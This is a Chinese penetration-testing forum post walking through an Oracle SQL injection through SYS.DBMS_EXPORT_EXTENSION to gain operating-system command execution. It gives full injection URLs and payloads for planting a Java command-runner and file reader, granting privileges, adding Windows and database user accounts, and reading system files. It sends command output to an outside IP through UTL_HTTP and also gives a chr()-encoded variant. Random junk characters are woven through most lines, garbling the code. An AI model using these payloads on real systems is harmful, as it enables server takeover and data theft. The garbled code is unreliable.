中国网络渗透测试联盟

标题: 实例演示oracle注入获取cmdshell的全过程 [打印本页]

作者: admin    时间: 2012-12-18 12:21
标题: 实例演示oracle注入获取cmdshell的全过程
以下的演示都是在web上的sql plus执行的,在web注入时 把select SYS.DBMS_EXPORT_EXTENSION.....改成
' ^+ L7 K  S; d+ z2 `1 B& ?5 A2 h0 w  I8 ^' e% ^
  /xxx.jsp?id=1 and '1'<>'a'||(select SYS.DBMS_EXPORT_EXTENSION.....)
7 Y9 d( m; M8 M# ^; D的形式即可。(用" 'a'|| "是为了让语句返回true值)
0 l( M1 f4 o( I语句有点长,可能要用post提交。
- I& c: u! z9 J' F6 t5 `以下是各个步骤:
$ G, j( X: W9 c6 g9 z0 c1.创建包 ( @3 r5 Q. O0 t6 c2 j
通过注入 SYS.DBMS_EXPORT_EXTENSION 函数,在oracle上创建Java包LinxUtil,里面两个函数,runCMD用于执行系统命令,readFile用于读取文件:
; g$ a8 |! `. V4 R) N  t/xxx.jsp?id=1 and '1'<>'a'||(
' Q: ~5 \" _% z8 a, vselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''% }: t! @' N6 h
create or replace and compile java source named "LinxUtil" as import java.io.*; public class LinxUtil extends Object {public static String runCMD(String args) {try{BufferedReader myReader= new BufferedReader(  H5 d+ U# r& a& M
new InputStreamReader( Runtime.getRuntime().exec(args).getInputStream() ) ); String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"\n";myReader.close();return str;} catch (Exception e){return e.toString();}}public static String readFile(String filename){try{BufferedReader myReader= new BufferedReader(new FileReader(filename)); String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"\n";myReader.close();return str;} catch (Exception e){return e.toString();}}. a- x; e9 n( d& ^- l" r
}'''';END;'';END;--','SYS',0,'1',0) from dual
7 M' d( W$ [" l' t$ X) : p+ b7 |8 N( m% V! O6 V; o. U! N
------------------------
+ B/ }3 N. m: m; c如果url有长度限制,可以把readFile()函数块去掉,即:
9 S+ a" W8 J% z& W! p+ v5 B8 r/xxx.jsp?id=1 and '1'<>'a'||( ' k! y# |+ f6 T. d6 C* {8 F! N
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''% I9 ~) K2 l4 L' z
create or replace and compile java source named "LinxUtil" as import java.io.*; public class LinxUtil extends Object {public static String runCMD(String args) {try{BufferedReader myReader= new BufferedReader(
1 O8 m5 c- V+ J( Inew InputStreamReader( Runtime.getRuntime().exec(args).getInputStream() ) ); String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"\n";myReader.close();return str;} catch (Exception e){return e.toString();}}5 O! U5 ?/ D0 ^* D# ~
}'''';END;'';END;--','SYS',0,'1',0) from dual   |( g/ ~9 P% v. L" N
) - J$ }8 b) j, Z* E; G' T  ~
同时把后面步骤 提到的 对readFile()的处理语句去掉。
% W/ ~- o, C$ |0 W! c------------------------------
4 Y* B& o: O$ w7 k& V7 ^" |2.赋Java权限
/ U8 s# s% \8 C6 D* r8 Y' {' |. ~3 Wselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''begin dbms_java.grant_permission( ''''''''PUBLIC'''''''', ''''''''SYS:java.io.FilePermission'''''''', ''''''''<<ALL FILES>>'''''''', ''''''''execute'''''''' );end;'''';END;'';END;--','SYS',0,'1',0) from dual6 G5 M; T  A( m) s  y
3.创建函数
! b" |8 G6 X1 u0 a2 c3 eselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
7 l9 L# W" {3 b) Gcreate or replace function LinxRunCMD(p_cmd in varchar2)  return varchar2  as language java name ''''''''LinxUtil.runCMD(java.lang.String) return String'''''''';   '''';END;'';END;--','SYS',0,'1',0) from dual
- _" |$ M- F% e* o5 Nselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''6 h; b+ J( b- ]$ k2 D9 p& r/ P
create or replace function LinxReadFile(filename in varchar2)  return varchar2  as language java name ''''''''LinxUtil.readFile(java.lang.String) return String'''''''';   '''';END;'';END;--','SYS',0,'1',0) from dual+ Q8 |* }, T% K. @2 q3 I. i; W. u
4.赋public执行函数的权限
3 I' R/ j6 v: F! |' Y% \* Iselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''grant all on LinxRunCMD to public'''';END;'';END;--','SYS',0,'1',0) from dual
+ v- \% X' D+ X- p5 i+ |3 Tselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''grant all on LinxReadFile to public'''';END;'';END;--','SYS',0,'1',0) from dual
9 [6 T! R- G- K5 H: S! K, d/ c: u5.测试上面的几步是否成功 9 J: P8 D( ~! x0 I- A6 @
and '1'<>'11'||(
+ y' ]+ {+ @8 e( fselect  OBJECT_ID from all_objects where  object_name ='LINXRUNCMD'
% X) f5 X+ U1 L; v+ V! n) 5 v4 d* g* I) y3 U
and '1'<>( + Q/ [- u/ g, e0 C, N
select  OBJECT_ID from all_objects where  object_name ='LINXREADFILE' , `/ |% P+ l: d, [
)
* u6 y. y+ }& `# G# j5 ]/ |4 G6.执行命令: + C) y9 U( }1 B
/xxx.jsp?id=1 and '1'<>(
; O9 A* P: R  E  C5 S9 D, ]select  sys.LinxRunCMD('cmd /c net user linx /add') from dual
. t3 `- m8 y9 j' }2 s" ]* S) b
, u- j& Y4 U, @) 9 ^$ y( Z6 h$ o8 T4 \2 U' T) u
/xxx.jsp?id=1 and '1'<>( ( @2 b7 f6 \7 ~0 I, \% X
select  sys.LinxReadFile('c:/boot.ini') from dual/ n; J3 ?1 W* j

  ?4 V2 D2 P' ]/ p/ Q4 x)
& |7 d+ N9 ?" Z& _9 F6 a  
% D- ~' b( Y- y8 H/ I" X注意sys.LinxReadFile()返回的是varchar类型,不能用"and 1<>" 代替 "and '1'<>"。
2 r, \6 g; O. y: n7 l( i6 G如果要查看运行结果可以用 union :
# q0 c5 n% c# p* R+ r/ K/xxx.jsp?id=1 union select  sys.LinxRunCMD('cmd /c net user linx /add') from dual8 b0 @1 t4 ^9 Y4 W) n1 h" w
或者UTL_HTTP.request(:
& A  _4 G# Q  Q6 S  X  c8 K) ^) O/xxx.jsp?id=1 and '1'<>(
) y1 w8 \; g" L- U5 DSELECT UTL_HTTP.request('http://211.71.147.3/record.php?a=LinxRunCMD:'||REPLACE(REPLACE(sys.LinxRunCMD('cmd /c net user aaa /del'),' ','%20'),'\n','%0A')) FROM dual
1 x- ]- W# \, x* B1 e, T( a) & H: I' a; [" J9 G" ?1 @8 X4 j+ W
/xxx.jsp?id=1 and '1'<>(
# S, {/ g) _# s0 m9 ^2 YSELECT UTL_HTTP.request('http://211.71.147.3/record.php?a=LinxRunCMD:'||REPLACE(REPLACE(sys.LinxReadFile('c:/boot.ini'),' ','%20'),'\n','%0A')) FROM dual
. E" S, E* \2 w)
- g8 {3 x" x8 r注意:用UTL_HTTP.request时,要用 REPLACE() 把空格、换行符给替换掉,否则会无法提交http request。用utl_encode.base64_encode也可以。4 F! ~$ k1 c8 s$ R5 q
-------------------- , o1 q/ m! ~' Q" I7 Q  J7 x+ }/ G3 g6 Q
6.内部变化
7 k: x2 O% N$ H1 O通过以下命令可以查看all_objects表达改变: : O1 {9 n: W% w0 J. M
select  * from all_objects where  object_name like '%LINX%' or  object_name like '%Linx%') }! B4 h2 A) C8 U8 `6 J' C
7.删除我们创建的函数 3 O) L: M0 T1 ^
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
+ L8 K9 }% o3 d* W& ldrop function LinxRunCMD  '''';END;'';END;--','SYS',0,'1',0) from dual
/ r2 j& C. q( M9 P# b==================================================== + _7 m0 f0 L2 y3 {9 q* _! V
全文结束。谨以此文赠与我的朋友。 6 n7 I2 n) G( e6 v8 @0 m2 J
linx " b9 U! T8 z3 @1 B
124829445 3 U( L" A3 R' t8 T
2008.1.12 . O9 Z; `, x5 x. X5 U5 X0 J
linyujian@bjfu.edu.cn
1 C5 {4 r$ Z9 b1 ?4 d! W8 s5 c====================================================================== ) q+ ?# Z5 F: U3 G& g5 v4 b; N, B
测试漏洞的另一方法:
: n+ N- D( Z2 B* p  c! j创建oracle帐号:
$ Q; C+ u, n1 S  r6 O2 ^. ^select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
' D. Q) [& w* {  q1 eCREATE USER linxsql IDENTIFIED BY linxsql'''';END;'';END;--','SYS',0,'1',0) from dual0 }, ^; L3 E0 _; f1 l) U% }7 z
即: 8 a8 P+ s9 O" J5 F4 l
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES(chr(70)||chr(79)||chr(79),chr(66)||chr(65)||chr(82),+ q3 q5 R- N5 p7 b' k: K  t
chr(68)||chr(66)||chr(77)||chr(83)||chr(95)||chr(79)||chr(85)||chr(84)||chr(80)||chr(85)||chr(84)||chr(34)||chr(46)||chr(80)||chr(85)||chr(84)||chr(40)||chr(58)||chr(80)||chr(49)||chr(41)||chr(59)||chr(69)||chr(88)||chr(69)||chr(67)||chr(85)||chr(84)||chr(69)||chr(32)||chr(73)||chr(77)||chr(77)||chr(69)||chr(68)||chr(73)||chr(65)||chr(84)||chr(69)||chr(32)||chr(39)||chr(68)||chr(69)||chr(67)||chr(76)||chr(65)||chr(82)||chr(69)||chr(32)||chr(80)||chr(82)||chr(65)||chr(71)||chr(77)||chr(65)||chr(32)||chr(65)||chr(85)||chr(84)||chr(79)||chr(78)||chr(79)||chr(77)||chr(79)||chr(85)||chr(83)||chr(95)||chr(84)||chr(82)||chr(65)||chr(78)||chr(83)||chr(65)||chr(67)||chr(84)||chr(73)||chr(79)||chr(78)||chr(59)||chr(66)||chr(69)||chr(71)||chr(73)||chr(78)||chr(32)||chr(69)||chr(88)||chr(69)||chr(67)||chr(85)||chr(84)||chr(69)||chr(32)||chr(73)||chr(77)||chr(77)||chr(69)||chr(68)||chr(73)||chr(65)||chr(84)||chr(69)||chr(32)||chr(39)||chr(39)||chr(67)||chr(82)||chr(69)||chr(65)||chr(84)||chr(69)||chr(32)||chr(85)||chr(83)||chr(69)||chr(82)||chr(32)||chr(108)||chr(105)||chr(110)||chr(120)||chr(115)||chr(113)||chr(108)||chr(32)||chr(73)||chr(68)||chr(69)||chr(78)||chr(84)||chr(73)||chr(70)||chr(73)||chr(69)||chr(68)||chr(32)||chr(66)||chr(89)||chr(32)||chr(108)||chr(105)||chr(110)||chr(120)||chr(115)||chr(113)||chr(108)||chr(39)||chr(39)||chr(59)||chr(69)||chr(78)||chr(68)||chr(59)||chr(39)||chr(59)||chr(69)||chr(78)||chr(68)||chr(59)||chr(45)||chr(45),chr(83)||chr(89)||chr(83),0,chr(49),0) from dual # r# N/ h- C% P, h
确定漏洞存在:
3 U9 _" p/ ]. E2 q1<>( 5 b) X- y* M* G2 y
select user_id from all_users where username='LINXSQL' , D. K- X' c/ e" \' y1 f- p2 i. h; S
)
* y6 B/ [5 {, ?  ?8 e" u8 k5 m, Y给linxsql连接权限: 2 Z9 C# I, Y( `- @$ N6 D; Y
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''* k! H4 y: z$ C6 E  D
GRANT CONNECT TO linxsql'''';END;'';END;--','SYS',0,'1',0) from dual ! d- E, _" R' P. E7 J
删除帐号:
/ f: }2 c+ ]8 g+ rselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''  e3 X6 h+ a/ m9 ~( u
drop user LINXSQL'''';END;'';END;--','SYS',0,'1',0) from dual
" p/ M' W" [' p====================== , Y9 r& C# J3 }
以下方法创建一个可以执行多语句的函数Linx_query(),执行成功的话返回数值"1",但权限是继承的,可能仅仅是public权限,作用似乎不大,真的要用到话可以考虑grant dba to 当前的User:
  S# ?3 Y  a) H1.jsp?id=1 and '1'<>(
! r0 l3 \7 R: Rselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''5 K# S$ }5 U+ P6 n% R
create or replace function Linx_query (p varchar2) return number authid current_user is begin execute immediate p; return 1;  end;   '''';END;'';END;--','SYS',0,'1',0) from dual
9 y/ B1 q4 h1 G; l9 l) and ... 1.jsp?id=1 and '1'( select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT.PUT(:P1);EXECUTE IMMEDIATE
3 y1 L0 F' X6 B5 v5 X% B- L ), p% k; S; J3 L$ H9 q- {1 H0 i$ z

" D& V# L3 M( \: j4 \; u& m! t. Q+ {# `4 |, U. N

8 n" f" f' p, L




欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/) Powered by Discuz! X3.2